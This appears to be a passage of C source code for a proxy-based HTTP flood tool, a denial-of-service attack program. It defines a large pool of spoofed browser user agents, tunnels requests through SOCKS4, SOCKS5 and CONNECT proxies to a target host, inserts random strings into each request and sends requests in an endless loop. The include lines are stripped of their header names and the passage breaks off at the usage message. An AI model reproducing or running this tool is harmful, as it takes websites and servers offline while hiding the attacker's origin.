#include #include #include #include #include #include #include #include #include #include #include #include #include #define RND_CHAR (char)((rand() % 26)+97) char *useragents[] = { "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 RestSharp 102.0.0.0", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; )", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.5) Gecko/2009021916 Songbird/1.1.2 (20090331142126)", "Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", "Mozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) rekonq", "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP 5.1) Lobo/0.98.4", "X-Smiles/1.2-20081113", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008120120 Blackbird/0.9991", "Mozilla/5.0 (SCH-F859/F859DG12;U;NUCLEUS/2.1;Profile/MIDP-2.1 Configuration/CLDC-1.1;480*800;CTC/2.0) Dolfin/2.0", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Conkeror/0.9.3", "LeechCraft (X11; U; Linux; ru_RU) (LeechCraft/Poshuku 0.3.55-324-g9365f23; WebKit 4.5.2/4.5.2)", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.8) Gecko/20100317 Postbox/1.1.3", "xine/1.1.16.3", "Bunjalloo/0.7.6(Nintendo DS;U;en)", "Mozilla/5.0 (X11; U; Linux i686; en-US; SkipStone 0.8.3) Gecko/20020615 Debian/1.0.0-3 ", "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60", "MMozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.1.5 Safari/533.3", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4", "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1", }; #define ATTACKPORT 80 char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s"; char *postpayload; struct urlparts { char * name; char separator[4]; char value[128]; } parts[] = { { "scheme", ":" }, { "userid", "@" }, { "password", ":" }, { "host", "//" }, { "port", ":" }, { "path", "/" }, { "param", ";" }, /*{ "query", "?" },*/ { "fragment", "#" } }; enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ; #define NUMPARTS (sizeof parts / sizeof (struct urlparts)) struct urlparts *returnparts[8]; struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; }; struct proxy { char *type; char *ip; int port; int working; }; struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; }; struct list *head = NULL; char parseError[128]; int parseURL(char *url, struct urlparts **returnpart); char * strsplit(char * s, char * tok); char firstpunc(char *s); int strleft(char * s, int n); void setupparts(); void freeparts(); char *stristr(const char *String, const char *Pattern); char *str_replace(char *orig, char *rep, char *with); char *geturl(char *url, char *useragent, char *ip); char *ipstr; static int rps = 0; void *flood(void *par) { struct list *startpoint = (struct list *)par; int i; struct sockaddr_in serverAddr; signal(SIGPIPE, SIG_IGN); while(1) { int sent = 0; if(startpoint->data->working == 0) { startpoint = startpoint->next; sleep(1); continue; } memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(startpoint->data->port); serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip); int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); u_int yes=1; if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {} if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0) { startpoint->data->working = 0; startpoint = startpoint->next; continue; } if(strcmp(startpoint->data->type, "Socks4")==0) { unsigned char buf[10]; buf[0] = 0x04; buf[1] = 0x01; *(unsigned short*)&buf[2] = htons(ATTACKPORT); *(unsigned long*)&buf[4] = inet_addr(ipstr); buf[8] = 0x00; if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } } if(strcmp(startpoint->data->type, "Socks5")==0) { unsigned char buf[20]; buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; buf[3] = 0x01; *(unsigned long*)&buf[4] = inet_addr(ipstr); *(unsigned short*)&buf[8] = htons(ATTACKPORT); if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } } if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0) { char *connectrequest = malloc(1024); bzero(connectrequest, 1024); sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr); if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } char *recvbuf = malloc(1024); bzero(recvbuf, 1024); int gotbytes = recv(serverSocket, recvbuf, 1024, 0); if(gotbytes < 1) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } free(recvbuf); } char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent); if(httppayload == NULL) { startpoint = startpoint->next; close(serverSocket); continue; } char *tmp = NULL; while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL) { *(tmp) = RND_CHAR; *(tmp+1) = RND_CHAR; *(tmp+2) = RND_CHAR; *(tmp+3) = RND_CHAR; *(tmp+4) = RND_CHAR; *(tmp+5) = RND_CHAR; *(tmp+6) = RND_CHAR; *(tmp+7) = RND_CHAR; } send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL); free(httppayload); close(serverSocket); rps++; usleep(50000); //startpoint = startpoint->next; } } int main(int argc, char *argv[ ]) { if(argc < 6){ fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s